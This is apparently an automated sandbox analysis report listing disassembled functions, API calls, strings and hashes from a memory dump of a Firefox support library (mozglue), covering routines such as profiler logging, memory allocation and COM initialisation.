Part of subcall function 6CB3F100: LoadLibraryW.KERNEL32(shell32,?,6CBAD020), ref: 6CB3F122
Part of subcall function 6CB3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB3F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CB3ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB3EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CB3EDCC
CreateFileW.KERNEL32 ref: 6CB3EE08
free.MOZGLUE(00000000), ref: 6CB3EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CB3EE32

Part of subcall function 6CB3EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CB3EBB5
Part of subcall function 6CB3EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB6D7F3), ref: 6CB3EBC3
Part of subcall function 6CB3EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB6D7F3), ref: 6CB3EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CB3EDC1

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: b3a060e87e33e4f8e4990920b0e4ea5243a8d691dbb1e48a15dc39cea7e9f7da
Instruction ID: f7a20605312bd48ad7c1431d45fb99b3cd465b66a738d97f9312f968d4790204
Opcode Fuzzy Hash: b3a060e87e33e4f8e4990920b0e4ea5243a8d691dbb1e48a15dc39cea7e9f7da
Instruction Fuzzy Hash: 5151C071D052E49BDB01DF68D8407EEB7B0EF49318F44942EE8596B780EB306D48CBA2

Function 6CBAA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBAA565

Part of subcall function 6CBAA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAA4BE
Part of subcall function 6CBAA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBAA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBAA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBAA6B6

Strings

z, xrefs: 6CBAA6AE
0, xrefs: 6CBAA5FB

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0b0a8937ff7aa55a713c846028cfea7fdfc9ea9a7fb65b8a10d65c6203986673
Instruction ID: a91c7130edbc8f8e086edb6491fe9a41170ae1b0c9299c777de6762a2c952fe8
Opcode Fuzzy Hash: 0b0a8937ff7aa55a713c846028cfea7fdfc9ea9a7fb65b8a10d65c6203986673
Instruction Fuzzy Hash: E94125719087859FC341DF68C490A8EBBE4FF89354F408A2EF49987650EB30E549CF92

Function 6CB79420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
__Init_thread_footer.LIBCMT ref: 6CB7949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB7947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB7946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB79459

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: e08f5c067544f03266604194f7455363c35f83cbd3f5224e5517bc88c7d3ae47
Instruction ID: da7dff6a9a04c74ecfdb42070255d214f3a284abd73637d02dea9c1368a0bfa9
Opcode Fuzzy Hash: e08f5c067544f03266604194f7455363c35f83cbd3f5224e5517bc88c7d3ae47
Instruction Fuzzy Hash: AC01287CE0454087D720DB6DD804A597379EB06338F080536DC1687B41DF31D4648A6F

Function 6CB3B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6AC

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CB3B61E), ref: 6CB3B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CB3B61E,?,?,?,?,?,00000000), ref: 6CB3B79A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ee8ca10a8df6c5ca66808373a77b9af7a176386104ce954abad54e62318db849
Instruction ID: b86c3fdb73948702880938a55a8a4c96107bc4a94698275c46533ce164f87e7c
Opcode Fuzzy Hash: ee8ca10a8df6c5ca66808373a77b9af7a176386104ce954abad54e62318db849
Instruction Fuzzy Hash: 5841E4B2D00565DFCB00DF68DC849AFB7B5FB54320F250629E829E7784EB31A9048BE1

Function 6CBAB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CBAB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CBAB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CBAB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CBAB5F4
__Init_thread_footer.LIBCMT ref: 6CBAB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CBAB61F
std::_Facet_Register.LIBCPMT ref: 6CBAB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBAB655

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 61852d5f028479e81fb5d3988bc9614c25fdabdfc712c20089cef8bafbe0c99d
Instruction ID: 98370b4ab7d7eb95c0041dc30faa5d86394677e62312c1d668b3b284c2c883dd
Opcode Fuzzy Hash: 61852d5f028479e81fb5d3988bc9614c25fdabdfc712c20089cef8bafbe0c99d
Instruction Fuzzy Hash: 2C31C279B00258CBCF00DFA9C8989AEB7B5FF8A324B150559E95297740DF34AC06CF95

Function 6CB81D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB81D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB81BE3,?,?,6CB81D96,00000000), ref: 6CB81D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB81BE3,?,?,6CB81D96,00000000), ref: 6CB81D4C
GetCurrentThreadId.KERNEL32 ref: 6CB81DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB81DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB81DDA

Part of subcall function 6CB81EF0: GetCurrentThreadId.KERNEL32 ref: 6CB81F03
Part of subcall function 6CB81EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB81DF2,00000000,00000000), ref: 6CB81F0C
Part of subcall function 6CB81EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB81F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB81DF4

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b5e3404d11bfb2c34b45f80d6b18c6c3111e9894184d8edc4f637f2cef3c3978
Instruction ID: 59cc1b3807952b646104db2e134c16164d374bfee63116a8a82bc50c442d57d5
Opcode Fuzzy Hash: b5e3404d11bfb2c34b45f80d6b18c6c3111e9894184d8edc4f637f2cef3c3978
Instruction Fuzzy Hash: 5B4166B52017449FCB14CF29C488B5ABBF9FB89318F14442AE9AA87B41CB71F814CB95

Function 6CB784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB785AC

Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB7767F
Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB77693
Part of subcall function 6CB77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB785B2

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f32a6b565c7b53a98a115e21d589c99714761d65c1c1fb8ac3579ab1b35323ed
Instruction ID: 1ee6c5bdeae6f1bd9f47539bb97f5914f2a5856ec073268f1d12cb4e5a7a45cd
Opcode Fuzzy Hash: f32a6b565c7b53a98a115e21d589c99714761d65c1c1fb8ac3579ab1b35323ed
Instruction Fuzzy Hash: 5E219F742006418FDB24DB24C888A5AB7B9EF4430CF14082DE96FD3B41DB32F948CB66

Function 6CB7F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB7F598), ref: 6CB7F621

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F637
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F645
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB7F62A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 9ac1a2b1bd1c9fe1b896e9db328d2014c6a2dc15a8e1a23bf02510d8f49675db
Instruction ID: 48d4dfdf1b00aff4b9501129d2b3d86dfac8da69139ada96167f5a8adcee21ea
Opcode Fuzzy Hash: 9ac1a2b1bd1c9fe1b896e9db328d2014c6a2dc15a8e1a23bf02510d8f49675db
Instruction Fuzzy Hash: 2F11E339201245AFDB14AF59C8889E9B779FF86368B100415EE1583F01CF71AC21CBB9

Function 6CB40EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB6D9F0,00000000), ref: 6CB40F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CB40F3C
__Init_thread_footer.LIBCMT ref: 6CB40F50
FreeLibrary.KERNEL32(?,6CB6D9F0,00000000), ref: 6CB40F86

Strings

combase.dll, xrefs: 6CB40F18
CoInitializeEx, xrefs: 6CB40F36

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 491f237d1bf8284cbbe25439d5a3b3fb456fc2fc4760b6e7716405375664db67
Instruction ID: 33b99119e984af05c566a379804ea162ceed22f582b11885473a0a81b7abf462
Opcode Fuzzy Hash: 491f237d1bf8284cbbe25439d5a3b3fb456fc2fc4760b6e7716405375664db67
Instruction Fuzzy Hash: FF11827D7096C09BDF00DF69DA48A9A3774FB5A325F008629ED0593B41DF70E805CA6A

Function 6CB7F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F561

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F577
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F585
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB7F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CB7F3A8
[I %d/%d] profiler_resume, xrefs: 6CB7F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB7F56A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e9040f7fa4381ef431281b7a581cb83595f65a2a1db5e68633b89c2f2702b66d
Instruction ID: ec7d2f863a50b43099e60be1ce0680613e830d00e4e2252203ecaa4ea1864647
Opcode Fuzzy Hash: e9040f7fa4381ef431281b7a581cb83595f65a2a1db5e68633b89c2f2702b66d
Instruction Fuzzy Hash: 9AF0547D6002449FEF106B69D88896EB77DEB862ADF000415FE1593701DF759C058779

Function 6CB7F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB7F598), ref: 6CB7F621

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7F637
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F645
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000,?,6CB7F598), ref: 6CB7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB7F62A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a1f4434df25ffae381cb24d3003c00009b8ab65d5f0bea32920bbd5df8e39cac
Instruction ID: 4ed458295172542d7fd270f25af6ce7763add7536110d41b73511be292fb39df
Opcode Fuzzy Hash: a1f4434df25ffae381cb24d3003c00009b8ab65d5f0bea32920bbd5df8e39cac
Instruction Fuzzy Hash: F7F0547D600244AFEF106B69888896EB77DEF862ADF000415FE1593751CF759C05C779

Function 6CB705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB6CFAE,?,?,?,6CB331A7), ref: 6CB705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB6CFAE,?,?,?,6CB331A7), ref: 6CB70616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CB331A7), ref: 6CB7061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CB331A7), ref: 6CB70627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB7061B, 6CB70625
<jemalloc>, xrefs: 6CB705FA, 6CB7060F

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
